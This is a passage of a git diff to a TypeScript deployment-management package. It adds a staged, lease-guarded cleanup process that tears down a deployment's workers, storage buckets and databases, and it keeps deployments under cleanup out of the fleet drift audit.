backend.deleteApplicationR2Bucket, + 'application-r2-delete', + ); + } + if ( + resources.some( + (resource) => + resource.state === 'created' || resource.state === 'detach-authorized', + ) + ) { + requireCapability( + backend.assertApplicationR2Detached, + 'application-r2-detach', + ); + } +} + +function recheckEligibility( + record: FleetRecord, + intent: CleanupAdvanceIntent, +): CleanupReceiptEvidence['eligibility'] { + // Synthetic input: the live phase is 'cleanup-advancing', which the + // classifier would always refuse; the barrier re-check replays the persisted + // admitted phase and externalArtifact against the LIVE authority carrier. + const classification = classifyCleanupDatabaseEligibility({ + record: { ...omitIntent(record), phase: intent.identity.admittedPhase }, + externalArtifact: intent.identity.externalArtifact, + }); + if (!classification.eligible) { + throw eligibilityRefusal(classification, intent.identity.admittedPhase); + } + return classification.eligibility; +} + +function persistedDatabase(record: FleetRecord): DatabaseReference { + return { id: record.databaseId, name: record.databaseName, created: false }; +} + +function scanPurpose(intent: CleanupAdvanceIntent): CleanupAttachmentPurpose { + return { + kind: 'cleanup-database-pre-delete', + databaseId: intent.identity.record.databaseId, + operationId: intent.operationId, + }; +} + +async function completeTerminal( + lease: FleetStateLease, + record: FleetRecord, + intent: CleanupAdvanceIntent, + expectedRevision: number, + eligibility: CleanupReceiptEvidence['eligibility'], + disposition: CleanupTerminalReceipt['disposition'], +): Promise { + const completeCleanup = requiredCapability( + lease.completeCleanup, + 'terminal-receipt', + ).bind(lease); + const teardown = + intent.identity.admittedPhase !== 'database-reserved' && + intent.identity.admittedPhase !== 'database-create-authorized'; + const receipt: CleanupTerminalReceipt = { + version: 1, + operationId: intent.operationId, + tenantTag: record.tenantTag, + environment: record.environment, + backend: record.backend, + scriptName: record.scriptName, + databaseId: record.databaseId, + databaseName: record.databaseName, + authority: intent.authority.kind, + admittedPhase: intent.identity.admittedPhase, + disposition, + evidence: { + eligibility, + ingressRemoved: teardown, + workerAbsent: teardown, + platformResourcesAbsent: teardown, + applicationR2Settled: teardown, + databaseAbsentReadback: true, + }, + }; + const persisted = await completeCleanup({ receipt, expectedRevision }); + return { + status: 'complete', + token: { + version: 1, + tenantTag: record.tenantTag, + environment: record.environment, + operationId: intent.operationId, + revision: expectedRevision, + }, + receipt: persisted, + }; +} + +async function advanceDatabaseDeletion( + options: AdvanceCleanupDeploymentOptions, + lease: FleetStateLease, + record: FleetRecord, + intent: CleanupAdvanceIntent, +): Promise { + const { backend, spec } = options; + requireCapability(lease.completeCleanup, 'terminal-receipt'); + const admittedPhase = intent.identity.admittedPhase; + if ( + admittedPhase === 'database-reserved' || + admittedPhase === 'database-create-authorized' + ) { + const eligibility = recheckEligibility(record, intent); + const reserved = await backend.findDatabase(spec); + if (admittedPhase === 'database-reserved') { + if (reserved) { + throw new Error( + `refusing to clear an unauthorized database reservation while '${reserved.id}:${reserved.name}' exists`, + ); + } + return completeTerminal( + lease, + record, + intent, + intent.revision, + eligibility, + 'reservation-cleared', + ); + } + if (!reserved) { + return completeTerminal( + lease, + record, + intent, + intent.revision, + eligibility, + 'reservation-cleared', + ); + } + requireCapability(backend.deleteDatabase, 'database-delete'); + if (reserved.name !== record.databaseName) { + throw new Error( + `authorized database '${record.databaseName}' resolved with unexpected identity '${reserved.id}:${reserved.name}'`, + ); + } + const owner = await backend.readDeploymentIdentity(reserved, lease); + if (owner !== undefined) { + throw new Error( + `refusing reserved database cleanup for '${reserved.id}' owned by '${owner}'`, + ); + } + assertRollbackDeletionAuthority(intent, false); + await lease.assertOwned(); + // A freshness PROOF, not a provisioning: the sentinel exists only so the + // read-back below can show the database was empty, and it is deleted + // immediately after; 'migration-locked' keeps a database that survives a + // failed delete from ever coming back as one that executes. + await backend.seedDeploymentIdentity(reserved, record.tenantTag, lease, { + initialExecutionFenceState: 'migration-locked', + }); + const seededOwner = await backend.readDeploymentIdentity(reserved, lease); + if (seededOwner !== record.tenantTag) { + throw new Error( + `reserved database '${reserved.id}' could not be proven fresh before cleanup`, + ); + } + await lease.assertOwned(); + await backend.deleteDatabase(reserved, lease); + const remaining = await backend.findDatabase(spec); + if (remaining) { + throw new Error( + `reserved database '${remaining.id}' is still present after deletion`, + ); + } + return completeTerminal( + lease, + record, + intent, + intent.revision, + eligibility, + 'prepublication-owned-no-export', + ); + } + requireCapability(backend.getDatabase, 'database-read'); + requireCapability(backend.deleteDatabase, 'database-delete'); + const residual = requiredCapability( + backend.assertDatabaseDeletionResidualsRemoved, + 'database-residuals', + ).bind(backend); + const database = await reconcilePersistedDatabase( + backend, + record, + true, + lease, + admittedPhase !== 'database-created', + ); + if (!database) { + const eligibility = recheckEligibility(record, intent); + return completeTerminal( + lease, + record, + intent, + intent.revision, + eligibility, + 'reservation-cleared', + ); + } + await residual(spec, record, database, lease); + const eligibility = recheckEligibility(record, intent); + assertRollbackDeletionAuthority(intent, true); + await settleDatabaseDeletionUnderBarrier({ + lease, + databaseId: record.databaseId, + barrier: record, + deleteDatabase: () => backend.deleteDatabase(database, lease), + readDatabase: () => backend.getDatabase(record.databaseId), + }); + return completeTerminal( + lease, + record, + intent, + intent.revision, + eligibility, + 'prepublication-owned-no-export', + ); +} + +async function advanceTeardown( + options: AdvanceCleanupDeploymentOptions, + lease: FleetStateLease, + record: FleetRecord, + intent: CleanupAdvanceIntent, +): Promise { + const { backend, spec } = options; + const clock = options.clock ?? Date.now; + const database = persistedDatabase(record); + const step = intent.state.step; + if (step === 'teardown-traffic') { + const resources = record.applicationResources ?? []; + let preflightBackend: + | Readonly<{ + findApplicationR2Bucket: NonNullable< + ProvisioningBackend['findApplicationR2Bucket'] + >; + assertApplicationR2Empty?: NonNullable< + ProvisioningBackend['assertApplicationR2Empty'] + >; + }> + | undefined; + if (resources.length > 0) { + const findApplicationR2Bucket = requiredCapability( + backend.findApplicationR2Bucket, + 'application-r2-inspection', + ).bind(backend); + const needsEmptyAttestation = resources.some( + (resource) => + resource.state !== 'reserved' && resource.state !== 'deleted', + ); + preflightBackend = needsEmptyAttestation + ? { + findApplicationR2Bucket, + assertApplicationR2Empty: requiredCapability( + backend.assertApplicationR2Empty, + 'application-r2-empty', + ).bind(backend), + } + : { findApplicationR2Bucket }; + } + await lease.assertOwned(); + await backend.removeTraffic( + spec, + retainedExternalReleases(record), + activeExternalRelease(record), + database, + lease, + ); + await backend.assertTrafficRemoved(spec); + if (preflightBackend) { + await assertApplicationR2EmptyBeforeDecommission({ + resources, + backend: preflightBackend, + fence: lease, + }); + } + return commit( + lease, + record, + intent, + clock, + {}, + { step: 'teardown-worker' }, + ); + } + if (step === 'teardown-worker') { + await lease.assertOwned(); + await backend.revokeCredentials( + spec, + retainedExternalReleases(record), + activeExternalRelease(record), + database, + lease, + ); + await lease.assertOwned(); + await backend.deleteWorker( + spec, + retainedExternalReleases(record), + database, + activeExternalRelease(record), + lease, + ); + return commit( + lease, + record, + intent, + clock, + {}, + record.platformResources || record.platformTarget + ? { step: 'teardown-platform' } + : { step: 'r2-deletion', startResourceIndex: 0 }, + ); + } + if ( + !backend.revokePlatformResourceCredentials || + !backend.deletePlatformResources + ) { + throw new Error( + 'backend cannot clean persisted trusted platform resources', + ); + } + await lease.assertOwned(); + await backend.revokePlatformResourceCredentials( + spec, + record, + database, + lease, + ); + await lease.assertOwned(); + await backend.deletePlatformResources(spec, record, database, lease); + return commit( + lease, + record, + intent, + clock, + {}, + { + step: 'r2-deletion', + startResourceIndex: 0, + }, + ); +} + +async function advanceR2Deletion( + options: AdvanceCleanupDeploymentOptions, + lease: FleetStateLease, + record: FleetRecord, + intent: CleanupAdvanceIntent, + state: Extract, +): Promise { + const { backend, spec } = options; + const clock = options.clock ?? Date.now; + const resources = record.applicationResources ?? []; + const pending = resources.slice(state.startResourceIndex); + const actionableOffset = pending.findIndex( + (resource) => resource.state !== 'deleted', + ); + const actionable = + actionableOffset < 0 ? undefined : pending[actionableOffset]; + const needsInspection = + resources.length > 0 && + (actionableOffset !== 0 || + (actionable !== undefined && actionable.state !== 'empty')); + const findApplicationR2Bucket = needsInspection + ? requiredCapability( + backend.findApplicationR2Bucket, + 'application-r2-inspection', + ).bind(backend) + : undefined; + const assertApplicationR2Empty = + actionable?.state === 'detached' || actionable?.state === 'empty-authorized' + ? requiredCapability( + backend.assertApplicationR2Empty, + 'application-r2-empty', + ).bind(backend) + : undefined; + const deleteApplicationR2Bucket = + actionable?.state === 'empty' || actionable?.state === 'delete-authorized' + ? requiredCapability( + backend.deleteApplicationR2Bucket, + 'application-r2-delete', + ).bind(backend) + : undefined; + const detachmentPossible = + actionable !== undefined && + (actionable.state === 'created' || + (actionable.state === 'detach-authorized' && + state.verifiedDetachmentResourceIndex === undefined)); + if (detachmentPossible) { + requireCapability( + backend.assertApplicationR2Detached, + 'application-r2-detach', + ); + } + const result = await advanceApplicationR2Deletion({ + spec, + resources, + backend: { + ...(findApplicationR2Bucket ? { findApplicationR2Bucket } : {}), + ...(assertApplicationR2Empty ? { assertApplicationR2Empty } : {}), + ...(deleteApplicationR2Bucket ? { deleteApplicationR2Bucket } : {}), + }, + fence: lease, + startResourceIndex: state.startResourceIndex, + ...(state.verifiedDetachmentResourceIndex !== undefined + ? { + verifiedDetachmentResourceIndex: + state.verifiedDetachmentResourceIndex, + } + : {}), + }); + if (result.status === 'complete') { + return commit( + lease, + record, + intent, + clock, + {}, + { + step: 'attachment-scan', + scan: { + purpose: scanPurpose(intent), + pass: 'discover', + progress: initialWorkerAttachmentScan({ + kind: 'd1', + databaseId: record.databaseId, + }), + }, + }, + intent.generation + 1, + ); + } + if (result.status === 'resource-advanced') { + const advanced = result.resources[result.resourceIndex]; + return commit( + lease, + record, + intent, + clock, + { applicationResources: result.resources }, + { + step: 'r2-deletion', + startResourceIndex: + advanced?.state === 'deleted' + ? state.startResourceIndex + 1 + : state.startResourceIndex, + }, + ); + } + const assertApplicationR2Detached = requiredCapability( + backend.assertApplicationR2Detached, + 'application-r2-detach', + ).bind(backend); + await lease.assertOwned(); + await assertApplicationR2Detached(result.resource, lease); + return commit( + lease, + record, + intent, + clock, + { applicationResources: result.resources }, + { + step: 'r2-deletion', + startResourceIndex: result.resourceIndex, + verifiedDetachmentResourceIndex: result.resourceIndex, + }, + ); +} + +async function advanceAttachmentScan( + options: AdvanceCleanupDeploymentOptions, + lease: FleetStateLease, + record: FleetRecord, + intent: CleanupAdvanceIntent, + state: Extract, +): Promise { + const scan = requiredCapability( + options.backend.advanceDecommissionAttachmentScan, + 'attachment-scan', + ).bind(options.backend); + const clock = options.clock ?? Date.now; + const target = { + kind: 'd1', + databaseId: state.scan.purpose.databaseId, + } as const; + const restartDiscover = () => + commit( + lease, + record, + intent, + clock, + {}, + { + step: 'attachment-scan', + scan: { + purpose: state.scan.purpose, + pass: 'discover', + progress: initialWorkerAttachmentScan(target), + }, + }, + intent.generation + 1, + ); + const raw = await scan({ + progress: state.scan.progress, + maxProviderRequests: options.maxProviderRequests, + signal: options.signal, + }); + let plain: unknown; + try { + plain = cloneBoundedPlainData(raw, { + maxDepth: RESULT_PLAIN_DATA_DEPTH_BOUND, + maxNodes: RESULT_PLAIN_DATA_NODE_BOUND, + maxScalarBytes: RESULT_PLAIN_DATA_BYTE_BOUND, + maxSerializedBytes: RESULT_PLAIN_DATA_BYTE_BOUND, + error: () => new Error(RESULT_ERROR), + }); + Reflect.apply(STRUCTURED_CLONE, undefined, [raw]); + } catch { + return malformedResult(); + } + if (!plain || typeof plain !== 'object' || Array.isArray(plain)) { + return malformedResult(); + } + const result = plain as Record; + if (result.status === 'drift') { + return authoritativeResult(await restartDiscover()); + } + assertReservedAttempts( + result.providerFetchAttemptsReserved, + options.maxProviderRequests, + ); + if (result.status === 'pending') { + let progress: CleanupAttachmentProgress; + try { + progress = parseWorkerAttachmentScanProgress(result.progress, target); + } catch { + return malformedResult(); + } + let scanState: CleanupAttachmentScan; + if (state.scan.pass === 'verify') { + const discoverEvidence = state.scan.discoverEvidence; + if (!discoverEvidence) return malformedResult(); + scanState = { + purpose: state.scan.purpose, + pass: 'verify', + progress, + discoverEvidence, + }; + } else { + scanState = { purpose: state.scan.purpose, pass: 'discover', progress }; + } + return authoritativeResult( + await commit( + lease, + record, + intent, + clock, + {}, + { + step: 'attachment-scan', + scan: scanState, + }, + ), + ); + } + if (result.status === 'attached') { + const attachment = safeAttachment(result.attachment); + return authoritativeResult( + await commit( + lease, + record, + intent, + clock, + {}, + { + step: 'blocked', + purpose: state.scan.purpose, + attachment, + }, + ), + ); + } + if ( + result.status !== 'complete' || + typeof result.evidenceSha256 !== 'string' || + !Number.isSafeInteger(result.evidenceCount) + ) { + return malformedResult(); + } + const evidence = { + evidenceSha256: result.evidenceSha256, + evidenceCount: Number(result.evidenceCount), + }; + if ( + !SHA256.test(evidence.evidenceSha256) || + evidence.evidenceCount < 2 || + evidence.evidenceCount > WORKER_ATTACHMENT_EVIDENCE_BOUND + ) { + return malformedResult(); + } + if (state.scan.pass === 'discover') { + return authoritativeResult( + await commit( + lease, + record, + intent, + clock, + {}, + { + step: 'attachment-scan', + scan: { + purpose: state.scan.purpose, + pass: 'verify', + progress: initialWorkerAttachmentScan(target), + discoverEvidence: evidence, + }, + }, + ), + ); + } + const discoverEvidence = state.scan.discoverEvidence; + if (!discoverEvidence) return malformedResult(); + if ( + evidence.evidenceSha256 !== discoverEvidence.evidenceSha256 || + evidence.evidenceCount !== discoverEvidence.evidenceCount + ) { + return authoritativeResult(await restartDiscover()); + } + return authoritativeResult( + await commit( + lease, + record, + intent, + clock, + {}, + { + step: 'database-deletion', + }, + ), + ); +} + +async function admitCleanup( + backend: ProvisioningBackend, + spec: DeploymentSpec, + lease: FleetStateLease, + record: FleetRecord, + authority: CleanupAuthority, + randomUUID: () => string, + clock: () => number, +): Promise { + assertNoActiveDecommission(record, 'cleanupDeploymentArtifacts'); + assertBackendSwitchInactiveForCleanup(record); + assertImmutableDeploymentMapping(record, backend, spec); + const classification = classifyCleanupDatabaseEligibility({ + record, + externalArtifact: backend.immutableExternalArtifacts === true, + }); + if (!classification.eligible) { + throw eligibilityRefusal(classification, record.phase); + } + const reservation = + record.phase === 'database-reserved' || + record.phase === 'database-create-authorized'; + if (record.phase === 'database-reserved') { + const reserved = await backend.findDatabase(spec); + if (reserved) { + throw new Error( + `refusing to clear an unauthorized database reservation while '${reserved.id}:${reserved.name}' exists`, + ); + } + } + if (!reservation) { + requireStartCapabilities(backend, record.applicationResources ?? []); + } + const operationId = randomUUID(); + parseCleanupAdvanceToken({ + version: 1, + tenantTag: spec.tenantTag, + environment: spec.environment, + operationId, + revision: 0, + }); + const timestamp = nowIso(clock); + const source: FleetRecord = { + ...omitIntent(record), + phase: 'cleanup-advancing', + updatedAt: timestamp, + }; + const intent: CleanupAdvanceIntent = { + version: 1, + operationId, + revision: 0, + generation: 0, + updatedAt: timestamp, + authority, + identity: { + record: { + tenantTag: record.tenantTag, + environment: record.environment, + backend: record.backend, + scriptName: record.scriptName, + databaseId: record.databaseId, + databaseName: record.databaseName, + routeHostname: record.routeHostname, + }, + admittedPhase: record.phase, + externalArtifact: backend.immutableExternalArtifacts === true, + }, + state: reservation + ? { step: 'database-deletion' } + : { step: 'teardown-traffic' }, + }; + const next: FleetRecord = { + ...source, + cleanupIntent: normalizeCleanupAdvanceIntent(intent, source), + }; + await lease.put(next); + return next; +} + +/** + * @internal Persists the provisioning-rollback authority under the caller's + * held deployment lease; the failed-provision catch then drains through + * `advanceCleanupUnderLease`. Refusals throw before any mutation and leave the + * record untouched. + */ +export async function startProvisioningRollbackCleanup( + lease: FleetStateLease, + record: FleetRecord, + authority: Extract< + CleanupAuthority, + { readonly kind: 'provisioning-rollback' } + >, + options: Readonly<{ + backend: ProvisioningBackend; + spec: DeploymentSpec; + randomUUID: () => string; + clock?: () => number; + }>, +): Promise { + return admitCleanup( + options.backend, + options.spec, + lease, + record, + authority, + options.randomUUID, + options.clock ?? Date.now, + ); +} + +/** + * @internal Advances one bounded cleanup group under an already-held + * deployment lease. The public entry wraps this in its own + * `withDeploymentLease`; already-lease-holding callers (the failed-provision + * catch) call it directly. + */ +export async function advanceCleanupUnderLease( + options: AdvanceCleanupDeploymentOptions, + action: CleanupAdvanceAction, + parsedToken: CleanupAdvanceToken | undefined, + lease: FleetStateLease, +): Promise { + const { backend, spec, store } = options; + const record = await store.get(spec.tenantTag, spec.environment); + if (action.kind === 'start') { + if (!record) throw new Error('deployment is not registered'); + const intent = record.cleanupIntent + ? normalizeIntent(record.cleanupIntent, record) + : undefined; + if (intent) { + assertCleanupCaller(record, backend, spec, intent); + return authoritativeResult({ ...record, cleanupIntent: intent }); + } + const admitted = await admitCleanup( + backend, + spec, + lease, + record, + { kind: 'manual-cleanup' }, + options.randomUUID, + options.clock ?? Date.now, + ); + return authoritativeResult(admitted); + } + if (!parsedToken) throw new CleanupAdvanceTokenOperationError(); + const intent = record?.cleanupIntent + ? normalizeIntent(record.cleanupIntent, record) + : undefined; + if (!record || !intent || intent.operationId !== parsedToken.operationId) { + const readCleanupReceipt = requiredCapability( + store.readCleanupReceipt, + 'receipt-read', + ).bind(store); + const receipt = await readCleanupReceipt(parsedToken.operationId); + if (!receipt) throw new CleanupAdvanceTokenOperationError(); + if ( + receipt.tenantTag !== parsedToken.tenantTag || + receipt.environment !== parsedToken.environment + ) { + throw new CleanupAdvanceTokenDeploymentError(); + } + return { status: 'complete', token: parsedToken, receipt }; + } + const current: FleetRecord = { ...record, cleanupIntent: intent }; + const classification = classifyCleanupAdvanceToken(parsedToken, current); + if (classification === 'stale') return authoritativeResult(current); + if (action.kind === 'restart-blocked') { + if (intent.state.step !== 'blocked') throw new CleanupAdvanceRestartError(); + assertCleanupCaller(current, backend, spec, intent); + requireCapability( + backend.advanceDecommissionAttachmentScan, + 'attachment-scan', + ); + const restarted = await commit( + lease, + current, + intent, + options.clock ?? Date.now, + {}, + { + step: 'attachment-scan', + scan: { + purpose: intent.state.purpose, + pass: 'discover', + progress: initialWorkerAttachmentScan({ + kind: 'd1', + databaseId: intent.state.purpose.databaseId, + }), + }, + }, + intent.generation + 1, + ); + return authoritativeResult(restarted); + } + if (intent.state.step === 'blocked') return authoritativeResult(current); + assertCleanupCaller(current, backend, spec, intent); + const state = intent.state; + if ( + state.step === 'teardown-traffic' || + state.step === 'teardown-worker' || + state.step === 'teardown-platform' + ) { + return authoritativeResult( + await advanceTeardown(options, lease, current, intent), + ); + } + if (state.step === 'r2-deletion') { + return authoritativeResult( + await advanceR2Deletion(options, lease, current, intent, state), + ); + } + if (state.step === 'attachment-scan') { + return advanceAttachmentScan(options, lease, current, intent, state); + } + return advanceDatabaseDeletion(options, lease, current, intent); +} + +/** + * Starts, reads, or advances one bounded no-export cleanup operation. + * + * One call performs at most one bounded scan chunk or one action group. The + * terminal call persists the immutable operation-keyed receipt, releases the + * deployment's ownership claims, and deletes the Fleet row in one atomic + * batch. + */ +export async function advanceCleanupDeployment( + options: AdvanceCleanupDeploymentOptions, +): Promise { + validateDeploymentSpec(options.spec); + assertWorkerAttachmentProviderRequestBudget(options.maxProviderRequests); + const action = cleanupActionFromUnknown(options.action); + if (typeof options.randomUUID !== 'function') { + throw new Error('advanceCleanupDeployment requires a randomUUID function'); + } + const parsedToken = + action.kind === 'start' + ? undefined + : parseCleanupAdvanceToken(action.token); + if ( + parsedToken && + (parsedToken.tenantTag !== options.spec.tenantTag || + parsedToken.environment !== options.spec.environment) + ) { + throw new CleanupAdvanceTokenDeploymentError(); + } + return options.store.withDeploymentLease( + options.spec.tenantTag, + options.spec.environment, + (lease) => advanceCleanupUnderLease(options, action, parsedToken, lease), + ); +} diff --git a/packages/fleet-control/src/decommission-advance.ts b/packages/fleet-control/src/decommission-advance.ts index 347cffe9..b0ae1cf9 100644 --- a/packages/fleet-control/src/decommission-advance.ts +++ b/packages/fleet-control/src/decommission-advance.ts @@ -50,7 +50,7 @@ import type { NormalDecommissionLifecyclePhase, ProvisioningBackend, } from './types.js'; -import { effectiveLifecyclePhase } from './types.js'; +import { assertNoActiveCleanup, effectiveLifecyclePhase } from './types.js'; import { validateDeploymentSpec } from './validation.js'; const ACTION_ERROR = 'decommission advance action is malformed'; @@ -1710,6 +1710,11 @@ async function advanceUnderLease( throw new Error('deployment is not registered'); throw new DecommissionAdvanceTokenOperationError(); } + // Admission-path guard only: continue/restart against a cleanup-advancing + // row already fails token classification (no decommission intent exists). + if (action.kind === 'start') { + assertNoActiveCleanup(record, 'advanceDecommissionDeployment'); + } const intent = record.decommissionIntent ? normalizeDecommissionAdvanceIntent( record.decommissionIntent, diff --git a/packages/fleet-control/src/fleet.ts b/packages/fleet-control/src/fleet.ts index c10f2fbe..4efedaea 100644 --- a/packages/fleet-control/src/fleet.ts +++ b/packages/fleet-control/src/fleet.ts @@ -8,6 +8,7 @@ import { } from './application-bindings.js'; import { assertBackendSwitchInactive, + commitInvocationAuthority, type FinalizedOrdinaryStateProvider, finalizedBridgeForRecord, reconcileFinalizedBackendSwitchState, @@ -54,6 +55,7 @@ import type { ProvisioningBackend, } from './types.js'; import { + assertNoActiveCleanup, assertNoActiveDecommission, effectiveLifecyclePhase, } from './types.js'; @@ -175,6 +177,47 @@ function pendingArtifactVersion(record: FleetRecord): string | undefined { ); } +function hasActiveCleanup(record: FleetRecord): boolean { + return ( + record.phase === 'cleanup-advancing' || record.cleanupIntent !== undefined + ); +} + +/** + * Script keys a deployment under active bounded cleanup may still own live. + * They feed the orphan suppressions only: the bounded engine, not the drift + * audit, is the reconciliation authority while its teardown runs. + */ +function cleanupKnownScriptKeys(record: FleetRecord): readonly string[] { + const keys = [ + `${record.backend}:${record.scriptName}`, + ...[ + record.activeRelease, + record.pendingRelease, + record.rollbackRelease, + record.retiringRelease, + record.migrationPriorRelease, + ] + .filter((release) => release !== undefined) + .map((release) => `${record.backend}:${release.physicalScriptName}`), + ]; + if (record.platformResources) { + keys.push( + `${ + record.platformResources.stateWorker.plane === 'dispatch' + ? 'workers-for-platforms' + : 'plain-worker' + }:${record.platformResources.stateWorker.scriptName}`, + ); + if (record.platformResources.egressProxy) { + keys.push( + `plain-worker:${record.platformResources.egressProxy.scriptName}`, + ); + } + } + return keys; +} + function expectsDatabase(record: FleetRecord): boolean { return effectiveLifecyclePhase(record) !== 'decommissioned'; } @@ -529,8 +572,42 @@ export async function auditFleetDrift(options: { } const now = options.now ?? Date.now(); const findings: DriftFinding[] = [...options.inventory.findings]; - const recordsByScript = new Map(); + // A deployment under active bounded cleanup is audit-suppressed in both + // directions: it feeds no expectations (no missing/duplicate findings) and + // its declared resource identities join the known sets below so its + // still-present resources never read as orphans. The bounded engine is the + // reconciliation authority; a long-blocked cleanup stays visible through + // the record itself, never through drift findings. + const auditedRecords = options.records.filter( + (record) => !hasActiveCleanup(record), + ); + const knownScriptKeys = new Set(); + const knownRouteKeys = new Set(); + const knownDatabaseIds = new Set(); + const knownNamespaceIds = new Set(); + const knownBucketNames = new Set(); for (const record of options.records) { + if (!hasActiveCleanup(record)) continue; + const scriptKeys = cleanupKnownScriptKeys(record); + for (const key of scriptKeys) { + knownScriptKeys.add(key); + const scriptName = key.slice(key.indexOf(':') + 1); + knownRouteKeys.add(`${record.routeHostname}:${scriptName}`); + } + knownDatabaseIds.add(record.databaseId); + for (const binding of record.durableObjectBindings) { + knownNamespaceIds.add(binding.namespaceId); + } + for (const namespaceId of record.platformResources?.stateWorker + .namespaceIds ?? []) { + knownNamespaceIds.add(namespaceId); + } + for (const resource of record.applicationResources ?? []) { + knownBucketNames.add(resource.bucketName); + } + } + const recordsByScript = new Map(); + for (const record of auditedRecords) { for (const expected of expectedDeploymentKeys(record)) { const key = `${expected.backend}:${expected.scriptName}`; const matches = recordsByScript.get(key) ?? []; @@ -542,6 +619,7 @@ export async function auditFleetDrift(options: { const key = `workers-for-platforms:${registration.scriptName}`; if ( !recordsByScript.has(key) && + !knownScriptKeys.has(key) && !options.inventory.deployments.some( (deployment) => deployment.backend === 'workers-for-platforms' && @@ -565,7 +643,7 @@ export async function auditFleetDrift(options: { const matches = liveByScript.get(key) ?? []; matches.push(deployment); liveByScript.set(key, matches); - if (!recordsByScript.has(key)) { + if (!recordsByScript.has(key) && !knownScriptKeys.has(key)) { findings.push({ tenantTag: deployment.tenantTag, environment: deployment.environment, @@ -574,7 +652,7 @@ export async function auditFleetDrift(options: { }); } } - for (const record of options.records) { + for (const record of auditedRecords) { for (const expected of expectedDeploymentKeys(record)) { const key = `${expected.backend}:${expected.scriptName}`; const liveMatches = liveByScript.get(key) ?? []; @@ -609,10 +687,13 @@ export async function auditFleetDrift(options: { } } const registeredDatabaseIds = new Set( - options.records.filter(expectsDatabase).map((record) => record.databaseId), + auditedRecords.filter(expectsDatabase).map((record) => record.databaseId), ); for (const databaseId of options.inventory.databaseIds) { - if (!registeredDatabaseIds.has(databaseId)) { + if ( + !registeredDatabaseIds.has(databaseId) && + !knownDatabaseIds.has(databaseId) + ) { findings.push({ tenantTag: 'unknown', environment: 'unknown', @@ -622,7 +703,7 @@ export async function auditFleetDrift(options: { } } const expectedRoutes = new Map( - options.records + auditedRecords .filter(expectsRoute) .map((record) => [ record.routeHostname, @@ -638,6 +719,7 @@ export async function auditFleetDrift(options: { routeMatches.push(route); liveRoutesByHostname.set(route.hostname, routeMatches); const expected = expectedRoutes.get(route.hostname); + if (knownRouteKeys.has(`${route.hostname}:${route.scriptName}`)) continue; if ( !expected || expected.record.backend !== route.backend || @@ -659,12 +741,15 @@ export async function auditFleetDrift(options: { const liveNamespaceOwners = new Map(); const duplicateNamespaceIds = new Set(); const expectedNamespaceIds = new Set( - options.records + auditedRecords .filter(expectsNamespaces) .flatMap(expectedNamespaceIdsForRecord), ); for (const namespaceId of options.inventory.namespaceIds) { - if (!expectedNamespaceIds.has(namespaceId)) { + if ( + !expectedNamespaceIds.has(namespaceId) && + !knownNamespaceIds.has(namespaceId) + ) { findings.push({ tenantTag: 'unknown', environment: 'unknown', @@ -673,7 +758,7 @@ export async function auditFleetDrift(options: { }); } } - for (const record of options.records.filter(expectsNamespaces)) { + for (const record of auditedRecords.filter(expectsNamespaces)) { for (const namespaceId of expectedNamespaceIdsForRecord(record)) { const namespaceOwner = expectedNamespaceOwners.get(namespaceId); if (namespaceOwner) { @@ -707,7 +792,7 @@ export async function auditFleetDrift(options: { >[number]; } >(); - for (const record of options.records) { + for (const record of auditedRecords) { const phase = effectiveLifecyclePhase(record); if ( [ @@ -741,7 +826,10 @@ export async function auditFleetDrift(options: { ]), ); for (const bucket of options.inventory.r2Buckets ?? []) { - if (!expectedBuckets.has(bucket.bucketName)) { + if ( + !expectedBuckets.has(bucket.bucketName) && + !knownBucketNames.has(bucket.bucketName) + ) { findings.push({ tenantTag: 'unknown', environment: 'unknown', @@ -773,6 +861,9 @@ export async function auditFleetDrift(options: { } for (const record of options.records) { + // A stale or blocked bounded cleanup must not read as + // incomplete-provisioning, version, binding, or route drift. + if (hasActiveCleanup(record)) continue; const phase = effectiveLifecyclePhase(record); const recordMatches = recordsByScript.get(`${record.backend}:${liveScriptName(record)}`) ?? []; @@ -1284,6 +1375,11 @@ export async function auditFleetDrift(options: { 'deployment changed after audit inspection; maintenance re-arm aborted', ); } + await commitInvocationAuthority( + lease, + current, + () => options.now ?? Date.now(), + ); await lease.assertOwned(); await backend.ensureMaintenance( spec, @@ -1428,6 +1524,7 @@ export async function migrateFleet(options: { ); if (!stored) throw new Error('fleet migration record disappeared'); assertNoActiveDecommission(stored, 'migrateFleet'); + assertNoActiveCleanup(stored, 'migrateFleet'); assertBackendSwitchInactive(stored); const storedSchemaVersion = stored.schemaVersion; const backend = options.backendFor(stored); @@ -1636,6 +1733,11 @@ export async function migrateFleet(options: { } let maintenance = live.maintenance; if (!maintenance.armed) { + stored = await commitInvocationAuthority( + lease, + stored, + options.clock ?? Date.now, + ); await lease.assertOwned(); maintenance = await backend.ensureMaintenance( spec, @@ -1645,6 +1747,11 @@ export async function migrateFleet(options: { ); } if (!maintenance.armed) throw new Error('maintenance did not re-arm'); + stored = await commitInvocationAuthority( + lease, + stored, + options.clock ?? Date.now, + ); await lease.assertOwned(); await backend.promoteWorker( spec, @@ -1856,6 +1963,11 @@ export async function migrateFleet(options: { platformMigrationRelease, 'platform-only maintenance', ); + migrationRecord = await commitInvocationAuthority( + lease, + migrationRecord, + options.clock ?? Date.now, + ); await lease.assertOwned(); const maintenance = await backend.ensureMaintenance( spec, @@ -1891,6 +2003,8 @@ export async function migrateFleet(options: { platformMigrationRelease, 'platform-only publication', ); + // No flip here: the unconditional maintenance flip above already + // committed the carrier durably earlier in this same call. await lease.assertOwned(); await backend.promoteWorker( spec, @@ -2091,6 +2205,11 @@ export async function migrateFleet(options: { !live || live.desiredSpecDigest !== targetDigest ) { + migrationRecord = await commitInvocationAuthority( + lease, + migrationRecord, + options.clock ?? Date.now, + ); await lease.assertOwned(); const deployed = await backend.deployWorker( spec, @@ -2181,6 +2300,11 @@ export async function migrateFleet(options: { }; await lease.put(migrationRecord); } + migrationRecord = await commitInvocationAuthority( + lease, + migrationRecord, + options.clock ?? Date.now, + ); await lease.assertOwned(); const maintenance = await backend.ensureMaintenance( spec, @@ -2225,6 +2349,8 @@ export async function migrateFleet(options: { 'migration publication', ); } + // No flip here: the unconditional candidate-maintenance flip above + // already committed the carrier durably earlier in this same call. await lease.assertOwned(); await backend.promoteWorker( spec, @@ -2417,6 +2543,7 @@ export async function rollbackExternalRelease(options: { ); if (!stored) throw new Error('rollback deployment is not registered'); assertNoActiveDecommission(stored, 'rollbackExternalRelease'); + assertNoActiveCleanup(stored, 'rollbackExternalRelease'); assertBackendSwitchInactive(stored); const finalizedOrdinaryState = stored.backendSwitchIntent?.subphase === 'finalized' && @@ -2586,6 +2713,11 @@ export async function rollbackExternalRelease(options: { target, 